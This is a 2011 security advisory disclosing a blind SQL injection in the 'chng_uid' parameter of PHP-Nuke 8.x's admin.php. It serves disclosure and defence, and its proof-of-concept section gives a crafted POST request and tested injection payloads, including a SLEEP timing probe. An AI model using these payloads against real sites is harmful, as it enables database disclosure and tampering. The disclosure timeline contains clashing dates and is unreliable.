Wednesday, March 23, 2011

PHP-Nuke 8.x <= "chng_uid" Blind SQL Injection Vulnerability


1. OVERVIEW

The administration backend of PHP-Nuke 8.x is vulnerable to Blind SQL Injection.


2. BACKGROUND

PHP-Nuke is a Web Portal System or content management system. The goal of PHP-Nuke is to have an automated web site to distribute news and articles with users system. Each user can submit comments to discuss the articles. Main features include: web based admin, surveys, top page, access stats page with counter, user customizable box, themes manager for registered users, friendly administration GUI with graphic topic manager, option to edit or delete stories, option to delete comments, moderation system, Referrers page to know who link us, sections manager, customizable HTML blocks, user and authors edit, an integrated Banners Ads system, search engine, backend/headlines generation (RSS/RDF format), and many, many more friendly functions.


3. VULNERABILITY DESCRIPTION

The "chng_uid" parameter is not properly sanitized upon submission to the /admin.php which leads to Blind SQL Injection vulnerability.
This allows an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.


4. VERSIONS AFFECTED

8.0 and lower

Tested version: 8.0
The paid versions, 8.1 and 9.0, of php-Nuke may be vulnerable as well.


5. PROOF-OF-CONCEPT/EXPLOIT

=> /admin.php

POST /admin.php HTTP/1.1
Referer: http://localhost/admin.php?op=mod_users
Content-Type: application/x-www-form-urlencoded
Host: localhost

chng_uid=[BLIND_SQL_INJECTION]+&op=modifyUser


Tested Payloads:
' or 1=1-- [TRUE]
' or 1=2-- [FALSE]
' or substring(@@version,1,1)=5-- [TRUE if mySQL version is 5.x]
' or substring(@@version,1,1)=4-- [FALSE if mySQL version is 5.x]
' or SLEEP(15)=0-- [sleep for 15 seconds]

Successful response (True) returns the user update form page.


6. SOLUTION

Lock down access to php-Nuke administration backend.
No patch is available yet.
Use of this product is NOT recommended because of long lack of update and vendor negligence about security reports.


7. VENDOR

php-Nuke Developers
http://phpnuke.org/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-01-01: contacted author through emails
2011-01-25: contacted author through web site contact form
2010-03-23: no replies from author
2010-03-23: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_sql_injection
About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke
PHP-Nuke 8.0: http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658
CWE-89: http://cwe.mitre.org/data/definitions/89.html



#yehg [2010-03-23]

keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, blind, sqlin, sql injection